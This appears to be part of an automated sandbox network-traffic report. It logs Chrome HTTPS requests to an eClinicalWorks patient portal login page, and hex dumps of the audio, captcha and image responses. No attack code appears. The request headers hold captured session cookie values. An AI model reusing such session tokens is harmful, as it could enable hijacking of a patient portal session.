7c d4 12 ab a5 f6 7b 2f Data Ascii: tvBYK{6Z<P\|HN=8kb^Sk6/X9j':yyr"uA2+OHh/0+L>gFB@GS0XdbWpw),y^.@55(u<Y'2~@sx>VXLII[\|{/
2024-04-24 12:45:13 UTC	16384	IN	Data Raw: b9 6e 56 11 8a 94 40 d3 02 fb 3a ba 20 83 c2 1f 6e 89 06 9b bf db db 3c f0 79 cd 4d 37 fb 88 02 15 2e 7a f7 53 44 2b 0f c6 74 38 26 2a c8 8c 2a 18 00 3c 58 26 94 e0 ee 37 8e 28 70 8f a5 cb 8f 06 f0 47 ba 46 81 10 5f 1e dc af 86 e6 7e c3 86 f5 2c 3c a0 c9 c8 18 6b 6e ca 5c fc 9d 86 82 fb fe 40 73 0f c1 dd 3b 51 08 b8 04 f7 6d af bd 2c 0d a8 29 9f 08 e1 ab 38 37 53 ce 9a 53 22 d3 f2 52 f1 fe 18 0e 08 4b 81 8e 97 01 8d 0f 59 0b d8 ef 6c 27 2c 30 fc c7 30 3a 6a c4 83 2e 14 8e e3 ed 4d f6 6c a5 6a df 1a 1a 67 60 6b 5f 6e 84 14 3c cd 61 e3 89 74 1a 4f ef 9e 49 ab 81 6a f6 da 7f eb b3 b6 45 d9 f8 56 9c a6 0f 73 af 13 21 70 9d 7d 09 d2 08 b3 fc c1 ba 46 a9 47 b9 5e 86 cd 99 10 62 15 fc 28 e4 d0 34 ff ce 77 fe 99 e4 81 4c 97 85 32 b0 23 82 bb 07 74 f6 dd f9 ff 43 Data Ascii: nV@: n<yM7.zSD+t8&**<X&7(pGF_~,<kn\@s;Qm,)87SS"RKYl',00:j.Mljg`k_n<atOIjEVs!p}FG^b(4wL2#tC
2024-04-24 12:45:13 UTC	16384	IN	Data Raw: b5 ef da b9 d3 a4 f1 5b e4 ff 56 2d f4 4f 7f e8 99 d0 83 d9 a7 41 1e ef cc 91 1c e5 34 27 52 c9 2f c2 4c 2d 48 35 8f a3 de bc 3e f3 d2 dc 74 76 90 81 0e e2 d8 a5 10 3a a9 f6 63 c5 37 81 9e a5 99 e5 e9 2b 00 be 8a 8d 58 bc 3a f3 a4 f9 33 df 2e e6 50 f7 95 14 2d 82 ba 88 4d 5f 92 8a 97 68 95 e6 c1 6b d7 0b dc c5 2c c8 37 42 9e d5 2e c5 47 c9 9a fb 98 4f 80 34 3c 18 b7 27 b0 31 aa c2 5b 0d 4e 5d df 3c 7b 39 5c 19 97 a9 21 07 4c 0f 1b 54 db 92 5d 31 a9 fe e5 28 57 17 86 66 e9 5f 96 c0 a6 42 fd 9e 31 55 b1 71 1a 67 eb 62 25 b8 bb e4 2e 27 a6 86 03 38 31 95 7e 77 7f 8e b3 7f 02 b8 93 a5 cd 37 8d ff 93 6b 89 72 68 34 c9 5d 5e d8 52 cb 7b 3e dc ec 90 cd fd ed df 49 e0 ae 35 9e d8 03 ec d7 38 4f 6d 25 dc 6b c9 1c d4 dc f6 9d 2d 15 fa be 30 3e 11 6e fc d5 5f 87 25 Data Ascii: [V-OA4'R/L-H5>tv:c7+X:3.P-M_hk,7B.GO4<'1[N]<{9\!LT]1(Wf_B1Uqgb%.'81~w7krh4]^R{>I58Om%k-0>n_%
2024-04-24 12:45:13 UTC	16384	IN	Data Raw: de 86 73 52 2d 73 39 86 d7 b3 a4 5b 31 72 8b dc af 8d 42 3f aa d1 3e 8b 44 1f 15 06 d6 6f 31 2e 4a 70 f4 5d 1f ff 78 e8 ee e9 22 7d f1 92 45 53 28 5a c0 e2 dc 61 10 7e f7 3f 08 dc a3 e4 5e 94 82 13 c0 6f 90 da 63 9f 4a e7 aa 8b 1e 40 54 62 f8 2a b6 61 23 de c9 3b 3f f2 d1 b0 98 87 03 14 d8 04 b4 2b 84 93 4d 5f be 52 c8 0a 96 6e 50 24 9c d9 2a cc d7 4e 76 17 7f ba 15 2f ca 34 2a 95 e2 60 ce 54 79 6b fd f7 3b d3 73 bf af 24 f7 ce 43 47 cc f1 b3 b8 f6 f4 69 fa fa 0d 07 77 98 ee cd 0f df 9f d9 42 ce 9e ac db 95 99 7f 5b 30 7a ac 71 97 ba a6 da c8 16 36 18 e7 74 f4 f6 11 b3 4d 1c be d4 3a 05 66 3c 67 3e d7 2c b4 6b 69 12 af f9 3b ce 54 61 8c 79 bc fc 75 fa 0f 3d 15 ea 49 dd 2c 2d 61 62 19 8a 33 b1 84 a4 3b fc ea 37 e3 a3 2a d5 fe 62 2f d2 b8 14 d7 88 51 89 f8 Data Ascii: sR-s9[1rB?>Do1.Jp]x"}ES(Za~?^ocJ@Tba#;?+M_RnP$Nv/4`Tyk;s$CGiwB[0zq6tM:f<g>,ki;Tayu=I,-ab3;7b/Q
2024-04-24 12:45:13 UTC	16384	IN	Data Raw: 2f 59 fa 40 db 41 38 dc 86 42 ea 23 c0 d1 6e 4f b3 4a 35 18 85 72 66 46 c3 61 01 cf 50 09 25 4c c6 66 4f 81 6a 3e 0d ea 6e 02 a7 d5 24 13 e8 e9 06 68 f3 c0 5b 4d 8c 5c 25 eb 87 98 69 b2 e8 bd ad 55 f3 c2 40 99 71 d8 b9 27 4d 92 78 80 f1 5c d1 fc 94 61 7a c2 5a 0d ad c6 d3 9f 37 01 84 6b 6b 99 2b 9e 8c 4a b2 84 eb b1 5f 5c 13 5a ab 20 d0 17 de 72 e6 57 32 92 49 98 f7 cc cc 7c d0 47 83 3f fb c5 3e 7d fd ed b7 1a dc ed 9a b5 6f b7 90 d8 83 eb d0 82 7e f4 ee 6e fd c4 12 70 47 02 a1 98 19 ea 30 78 1e a6 8c 2d 8e 2d b9 cb 11 ed 37 28 77 d2 43 ba 4b c1 bc 37 5b 46 49 c0 28 50 ca ea 6d a3 f1 28 0e b0 51 e5 4c 07 2a e6 26 0f d7 12 ae 31 0b 59 db 06 c0 24 10 4b 2d 2f e0 0e 7b 7f 4b 70 d7 5d ce 20 88 30 7e 9c a6 94 d6 80 d5 a2 aa 3f d2 48 5a cb f9 22 5d c2 7e 80 46 Data Ascii: /Y@A8B#nOJ5rfFaP%LfOj>n$h[M\%iU@q'Mx\azZ7kk+J_\Z rW2I\|G?>}o~npG0x--7(wCK7[FI(Pm(QL*&1Y$K-/{Kp] 0~?HZ"]~F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.4	50139	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:12 UTC	792	OUT	GET /portal14763/audio.wav?1713962710829 HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept-Encoding: identity;q=1, ;q=0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: /* Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: audio Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7 Range: bytes=0-
2024-04-24 12:45:13 UTC	219	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:12 GMT Content-Type: audio/wave Content-Length: 84158 Connection: close Strict-Transport-Security: max-age=31536000 Cache-Control: private,no-cache,no-store Server:
2024-04-24 12:45:13 UTC	16165	IN	Data Raw: 52 49 46 46 b6 48 01 00 57 41 56 45 66 6d 74 20 10 00 00 00 01 00 01 00 80 3e 00 00 00 7d 00 00 02 00 10 00 64 61 74 61 92 48 01 00 31 03 b3 02 9e 03 93 03 d4 02 75 01 61 ff b8 fe 0b fe 9e fd 10 fd bd fd c5 fc 31 fd 79 fc 4b fc 56 fd 11 ff 8c fe 20 ff 83 ff 1f ff 59 01 21 02 b3 02 ac 01 e7 01 bb 00 a1 02 b6 00 b6 00 b3 fe 69 fe 5b fe 84 fc ce fc d1 fb 60 fd 22 ff 5a ff 80 ff b7 fe 20 ff 8c 00 01 01 52 01 cf ff 1d 00 2d fe 03 ff c9 fc 02 fc 3f fc f3 fe cc ff 69 fe 91 fd 70 fe 26 00 8f 00 2f 00 a2 fe a8 ff 2f 01 3b 03 d0 04 64 02 46 01 e6 00 33 03 c9 02 a5 01 55 00 b2 ff 8f fd 92 fd 2f 00 0a 00 b3 fe 4b fe e9 fc c2 fc c8 fc 8e fd a0 fe ba ff 08 00 11 00 19 ff 6b fd 65 fd 2f fe e3 01 b6 02 56 00 e2 01 2b fe 0a 01 72 00 c2 03 a7 02 b9 02 e9 04 1e 03 65 06 79 Data Ascii: RIFFHWAVEfmt >}dataH1ua1yKV Y!i[`"Z R-?ip&//;dF3U/Kke/V+rey
2024-04-24 12:45:13 UTC	16384	IN	Data Raw: f9 47 f6 10 f8 c3 f9 07 f8 b4 f9 a1 f9 57 f9 1d fb df f8 0f f8 f8 fa 98 f7 55 f6 91 f9 4c f9 d6 f6 32 f8 23 f6 d4 f6 d4 f6 8d f6 f0 f2 fb f1 d9 f1 ff ed 0b ef c1 eb 63 eb f7 e8 4a e5 8f e7 d6 e9 8c eb 84 e8 d8 ea 36 ec 22 ed 50 eb 42 ed 25 e9 8c ea dc ec 10 ee 03 ef 27 f2 58 f1 46 f1 74 f4 93 f5 4f fc 40 fd 74 fd 3d 01 dd 00 11 05 dc 04 cb 09 d7 0d 67 0f 29 14 e6 19 43 1e 8f 1e 53 21 68 23 e2 27 c3 29 2f 2a 4d 2b 0b 2a 50 2c b2 2a 90 28 89 29 e0 27 07 25 a8 22 d5 20 35 20 41 1c e1 14 21 10 12 0e 7a 0b d6 06 db 02 70 ff 0d ff a3 fc 62 ff 6a ff 49 ff df fb ed f7 cc f4 ba f0 6b ee fc e8 11 ea b2 e5 90 e5 8c e4 da e1 89 e3 6d de 4e da b6 d6 0d d6 47 d2 f4 cd 82 c8 97 c4 9f c5 6a c5 b2 c7 b4 c5 e0 c7 d2 c8 bb ca 67 d0 58 d3 aa d3 3a da 2c de 51 e2 9a e5 ad e7 Data Ascii: GWUL2#cJ6"PB%'XFtO@t=g)CS!h#')/M+P,*()'%" 5 A!zpbjIkmNGjgX:,Q
2024-04-24 12:45:13 UTC	16384	IN	Data Raw: 04 4f 02 03 01 08 01 08 00 a7 fe 49 ff 48 fb 9b f9 df fd dc 05 bf 08 bc 0b c0 09 c6 05 09 fd 7d f4 bf f2 ff f3 2a fa ec ff 24 0a 13 0f 04 11 1b 09 db 03 82 fd 32 f8 b0 f7 da f5 56 fa 3d 02 9e 02 ce 03 55 00 2c 01 a3 02 41 09 6c 0a bb 08 50 04 e6 fe fd f8 be f7 7a f7 a7 fc aa fd e7 ff ea 02 d2 00 df 04 d4 03 18 ff 80 fc 18 01 0b 03 f5 05 c5 05 be 03 43 ff 34 f8 b2 f1 4c f1 2b fe 7a 06 84 09 2b 04 17 03 24 ff 7d ff f0 fb 2c ff a1 00 a2 05 b2 02 a1 00 83 fa c5 fb ce fb 69 fd a6 fd ff fe 1a fd f7 fa 9a fe 7e 04 b8 04 c6 01 8d fe c4 fa 9c f9 73 f6 27 fc d3 02 dc 05 6c 03 42 03 c8 01 fe 00 f8 fc 66 f9 12 fa be fb 71 00 e7 01 49 01 c6 ff 93 fd 5d fc 1d fd d7 ff e8 00 ca fe fa fb 97 fa 8f fc 3d fe 2f fc 84 f9 66 fc fb 01 f3 07 01 0b 27 0b 11 08 e6 ff 31 f7 fb f4 Data Ascii: OIH}*$2V=U,AlPzC4L+z+$},i~s'lBfqI]=/f'1
2024-04-24 12:45:13 UTC	16384	IN	Data Raw: f3 e7 f3 5c f1 11 ef 5e ec 55 e5 ae e2 dd e1 bd d8 c3 e2 2e e8 13 ec c6 f3 df f1 04 f8 2a fd f9 f3 5e f6 53 f0 e7 f0 17 f1 80 ea b1 ed 4b f3 29 fc b9 fc e0 01 07 08 5e 0a 5b 0b 31 05 f1 00 8c 00 a3 f9 44 fd 58 ff b4 0b b6 10 33 18 4e 1d a0 21 1f 1f f1 1b cf 17 03 14 0b 15 14 12 d4 10 be 10 6d 17 8c 17 23 19 b1 18 2f 19 af 18 30 14 60 10 17 0a 5f 03 e7 fe 8f ff 83 02 97 04 c2 07 44 07 36 0a 04 0a 5d 03 f9 fb 0a fa 19 f9 bb f4 c6 f0 0e f2 33 f5 4e f7 2e f6 18 fa 9c fa 06 ff 5f f6 5b f8 39 f5 f3 ef f0 ec e3 e0 c0 eb aa e8 34 ef b4 eb c3 fa c0 f4 e9 fa 01 f3 f6 f4 f5 eb 7a ea ec e9 6b e2 0f e8 ab e1 37 f2 e8 e5 96 f8 6a f0 7d f9 af fc 72 f2 34 fc 86 f1 23 f3 e0 ec 39 f4 00 f6 1a fd 1c 02 00 08 f9 0d 11 0f 2f 0c 64 09 36 03 bd fd 4e fb e5 fe 6e 02 67 04 a8 08 Data Ascii: \^U.*^SK)^[1DX3N!m#/0`_D6]3N._[94zk7j}r4#9/d6Nng
2024-04-24 12:45:13 UTC	16384	IN	Data Raw: 01 9d 02 3d 01 df 03 bd 02 f4 02 7f 05 ae 02 d1 04 8c 00 88 ff 85 01 cf ff 68 03 5e 08 e6 0f 29 14 d9 19 1e 1c 0c 16 29 0e 3a 08 f2 07 48 0d e7 10 c7 0e 88 07 8c 04 a3 02 8f 07 36 0e dc 0f cc 0c 25 04 6f fe b3 01 11 04 19 04 aa 02 4d fe 5d 02 18 08 d8 0f 1a 13 9b 10 d1 09 0b 04 f5 02 d5 03 16 04 18 02 48 fe c3 fa 67 fd 3c fd 70 fe f8 f9 d6 f7 1c f4 25 f3 87 f4 46 f2 df f1 ec f2 00 ee c7 ef fd f5 f6 fc 65 ff 7c fa a0 f9 74 f6 23 f4 9b f5 7a f2 0e ef f9 ee 99 f2 8e f2 25 f2 5a ef 11 f0 11 f6 2c f8 f7 f9 52 f5 d6 ed 0a eb c7 e7 cc ec fe f2 0f f3 27 f0 b2 f0 24 f6 d7 fc 77 fe 62 ff 62 fb bd fa af fa f3 f9 df f9 b8 fa e6 ff 8d 00 d2 07 57 07 d0 07 3b 06 db 03 1f 03 f7 06 c3 04 c2 03 71 00 0e fc 99 fe 26 05 f2 08 3d 0b 1a 09 1a 0b 6a 08 6d 06 cc 06 1a 09 60 0a Data Ascii: =h^)):H6%oM]Hg<p%Fe\|t#z%Z,R'$wbbW;q&=jm`
2024-04-24 12:45:13 UTC	2457	IN	Data Raw: f8 ab f5 d1 f5 73 f3 74 f6 fa f7 a0 fb 81 f9 73 f8 ae f3 a5 f3 9a f5 08 f6 ed f3 63 f4 61 f5 e8 f4 50 f4 9c f3 d4 f3 2f f2 67 f0 b2 ed 63 ee f0 ed cd f0 b0 ef 90 f0 54 ef c7 eb 9a ed d8 f2 ff f2 4e f2 3c f2 2c f0 ea ec f7 ee 4f f1 d2 f0 7e f1 5a f1 0d f0 79 ed 98 ec 68 ed 56 ed 44 eb 9c ed 40 ec 7f ef da ef 8b f4 ae f5 78 f5 f0 f6 d8 f5 fc f8 7f f9 bf fa c9 fc 05 fe 88 01 42 08 2a 0f 24 15 4d 1a 28 20 84 26 6d 2a f3 2c 43 2c ec 2f 17 2f 2e 31 b5 2e fb 27 d4 22 e7 18 28 12 e3 0d bb 07 c2 03 d0 ff ff fb e1 f8 c2 f5 f3 f5 61 fa 27 f9 21 fa 77 fb 3a ff 6d 01 2b 01 7b ff 4e ff f3 ff f7 01 1c 02 77 00 c5 01 e7 03 7b 06 53 05 67 06 73 07 2e 0a b5 09 54 0d d0 0f 3b 15 7d 13 b4 0f 99 0f 79 0a f9 0a fa 09 31 06 e6 03 2e 01 77 fe 0e f9 95 f8 8b f2 91 f1 f9 ef 2f f2 Data Ascii: stscaP/gcTN<,O~ZyhVD@xB$M( &m,C,//.1.'"(a'!w:m+{Nw{Sgs.T;}y1.w/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
288	192.168.2.4	50140	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:12 UTC	556	OUT	GET /portal14763/jsp/100mp/captcha.jsp HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:13 UTC	569	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:12 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 7 Connection: close Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block pragma: no-store,no-cache cache-control: no-cache, no-store,must-revalidate, max-age=-1 expires: -1 Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), speaker=(), vibrate=(), fullscreen=(), payment=(), microphone=(), camera=(), magnetometer=(), gyroscope=() Server:
2024-04-24 12:45:13 UTC	7	IN	Data Raw: 0a 0a 0a 0a 0a 0a 0a Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
289	192.168.2.4	50143	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:13 UTC	581	OUT	GET /portal14763/jsp/100mp/openAccessWidget.jsp?_=1713962707513 HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:13 UTC	571	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:13 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 213 Connection: close Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN X-CONTENT-TYPE-OPTIONS: NOSNIFF X-XSS-Protection: 1; mode=block pragma: no-store,no-cache cache-control: no-cache, no-store,must-revalidate, max-age=-1 expires: -1 Permissions-Policy: geolocation=(), midi=(), notifications=(), push=(), speaker=(), vibrate=(), fullscreen=(), payment=(), microphone=(), camera=(), magnetometer=(), gyroscope=() Server:
2024-04-24 12:45:13 UTC	213	IN	Data Raw: 0d 0a 0d 0a 0d 0a 0d 0a 20 0d 0a 20 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 7b 22 6f 70 65 6e 41 63 63 65 73 73 70 72 61 63 74 69 63 65 57 69 64 67 65 50 61 74 68 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 68 65 61 6c 6f 77 2e 63 6f 6d 5c 2f 61 70 70 73 5c 2f 70 72 61 63 74 69 63 65 5c 2f 76 61 6c 6c 65 79 2d 70 72 6f 66 65 73 73 69 6f 6e 61 6c 73 2d 63 6f 6d 6d 75 6e 69 74 79 2d 68 65 61 6c 74 68 2d 63 65 6e 74 65 72 2d 31 37 31 35 34 3f 76 3d 32 26 6c 6f 63 61 6c 65 3d 65 6e 22 2c 22 6f 70 65 6e 41 63 63 65 73 73 57 69 64 67 65 74 22 3a 22 31 22 2c 22 68 65 61 6c 6f 77 53 65 61 72 63 68 43 6f 64 65 22 3a 22 48 48 4a 49 41 44 22 7d Data Ascii: {"openAccesspracticeWidgePath":"https:\/\/healow.com\/apps\/practice\/valley-professionals-community-health-center-17154?v=2&locale=en","openAccessWidget":"1","healowSearchCode":"HHJIAD"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
290	192.168.2.4	50142	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:13 UTC	575	OUT	GET /portal14763/images/newLogin/stepblock-bg-landing.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:13 UTC	430	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:13 GMT Content-Type: image/png Content-Length: 5302 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:13 GMT Accept-Ranges: bytes ETag: W/"5302-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:13 UTC	5302	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 96 00 00 00 d0 08 06 00 00 00 24 8e 47 53 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 14 6d 49 44 41 54 78 5e ed dd 6b 6f 14 57 9e c7 f1 aa ae ae 7b df dc 76 7b 48 32 c0 44 1b 29 9a 3c 98 d1 8a cc 03 a4 99 d9 46 20 67 3d c8 56 f2 80 79 3d bc 8d 7d 0b de 67 89 96 5d 92 89 da 9a 10 32 3b 63 1e 24 2b 23 76 0c 31 09 d7 d8 03 c4 18 ec 6e f7 a5 b6 8e 2f 59 42 00 57 77 57 57 57 9d f3 b5 64 09 44 d5 a9 73 3e ff 83 7e ea ae 53 a7 74 2d fc 79 67 61 d9 7a eb 75 c3 16 7f e6 07 01 04 10 40 40 3d 81 e6 d3 4a 6f c7 fa 59 6b f1 94 de 19 76 f4 fa 41 03 67 3f fb 6a c2 d0 2b ee b0 0d 72 3e 02 08 20 80 40 76 05 3a ed 6e af db da da 09 f4 4e eb e3 99 5f 6d 6b ba de eb 77 34 3f 04 8b 38 f1 cc 27 37 ca 9e 6b fa Data Ascii: PNGIHDR$GSsBIT\|dmIDATx^koW{v{H2D)<F g=Vy=}g]2;c$+#v1n/YBWwWWWdDs>~St-ygazu@@=JoYkvAg?j+r> @v:nN_mkw4?8'7k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
291	192.168.2.4	50144	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:13 UTC	566	OUT	GET /portal14763/simpleCaptcha.png?1713962710829 HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:13 UTC	223	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:13 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Strict-Transport-Security: max-age=31536000 Cache-Control: private,no-cache,no-store Server:
2024-04-24 12:45:13 UTC	3103	IN	Data Raw: 63 31 33 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c8 00 00 00 32 08 02 00 00 00 96 33 03 b6 00 00 0b da 49 44 41 54 78 da ed 9c 79 50 14 57 1e c7 07 15 50 41 05 41 65 14 f0 44 2d f1 e4 10 54 28 ff 10 2d 2d 51 ab 44 e5 10 54 3c b0 f0 e0 92 29 2d c4 0b f1 40 05 15 d0 02 29 ab 2c b0 14 45 05 b9 bc 50 f7 48 d6 dd 64 73 6e 14 31 d9 b8 c9 66 77 93 cd 6e 76 93 ec 66 b3 eb 51 fb 8d 93 9e 3c e6 fd 5e d3 33 3d 43 e2 d0 df bf 66 ba 5f bf e9 79 f3 99 df ef fb ae d6 fd ac bd 7e 2e e9 17 92 7e c9 e8 15 49 af 4a fa 15 a3 7b 92 7e 2d e9 37 8c 5e 93 f4 ba a4 df 4a 7a 83 d1 9b 92 de 62 f4 36 a3 77 24 bd 2b e9 77 8c de 93 74 5f d2 03 46 ad 92 1e 4a 6a 93 f4 88 d1 fb 92 3e 90 f4 7b 46 1f 4a 7a cc e8 0f 8c 3e 92 f4 b1 a4 3f 32 fa 44 d2 9f 24 fd 59 d2 5f Data Ascii: c13PNGIHDR23IDATxyPWPAAeD-T(--QDT<)-@),EPHdsn1fwnvfQ<^3=Cf_y~.~IJ{~-7^Jzb6w$+wt_FJj>{FJz>?2D$Y_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
292	192.168.2.4	50145	20.84.201.93	443	3484	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-24 12:45:14 UTC	831	OUT	GET /portal14763/images/ecw-badge.png HTTP/1.1 Host: mycw108.ecwcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mycw108.ecwcloud.com/portal14763/jsp/100mp/login_otp.jsp Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=03107C4121BDB2308A48A7F9CCFAE1F2; ApplicationGatewayAffinityCORS=4d96d0433bfec6ae37d051d137d3cea7; ApplicationGatewayAffinity=4d96d0433bfec6ae37d051d137d3cea7
2024-04-24 12:45:14 UTC	432	IN	HTTP/1.1 200 Date: Wed, 24 Apr 2024 12:45:14 GMT Content-Type: image/png Content-Length: 34112 Connection: close Strict-Transport-Security: max-age=31536000 P3P: CP="CAO IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT" cache-control: public,max-age=36000 expires: Wed, 24 Apr 2024 22:45:14 GMT Accept-Ranges: bytes ETag: W/"34112-1710872576000" Last-Modified: Tue, 19 Mar 2024 18:22:56 GMT Server:
2024-04-24 12:45:14 UTC	15952	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 87 00 00 00 87 08 06 00 00 00 3c e7 4a 0a 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 00 04 67 41 4d 41 00 00 b1 8e 7c fb 51 93 00 00 00 20 63 48 52 4d 00 00 7a 25 00 00 80 83 00 00 f9 ff 00 00 80 e9 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 6f 92 5f c5 46 00 00 84 b6 49 44 41 54 78 da d4 d0 b9 0d 00 30 0c 02 c0 fc fb cf 1b 3b 0f 05 48 2e b2 40 90 ae b2 a0 70 4e ff 26 53 81 0a 0d 7a 30 1e 74 6b ec 88 76 94 0d 07 56 e0 60 34 1f 2c 70 76 b4 73 7e 7c f0 15 40 8c 43 d0 cd 4c 50 0c 4b 0c ec 50 cc 01 c4 9c 68 98 0b 8d cf 81 a4 1e 96 48 58 90 12 08 23 52 64 c2 12 04 2c 51 fc 84 e2 1f 40 fc 1d 09 7f 43 e3 7f 87 aa 81 a9 87 25 96 7f 50 3c 64 00 40 00 31 0e b1 12 82 05 5a 02 b0 43 Data Ascii: PNGIHDR<JpHYsgAMA\|Q cHRMz%u0`:o_FIDATx0;H.@pN&Sz0tkvV`4,pvs~\|@CLPKPhHX#Rd,Q@C%P<d@1ZC
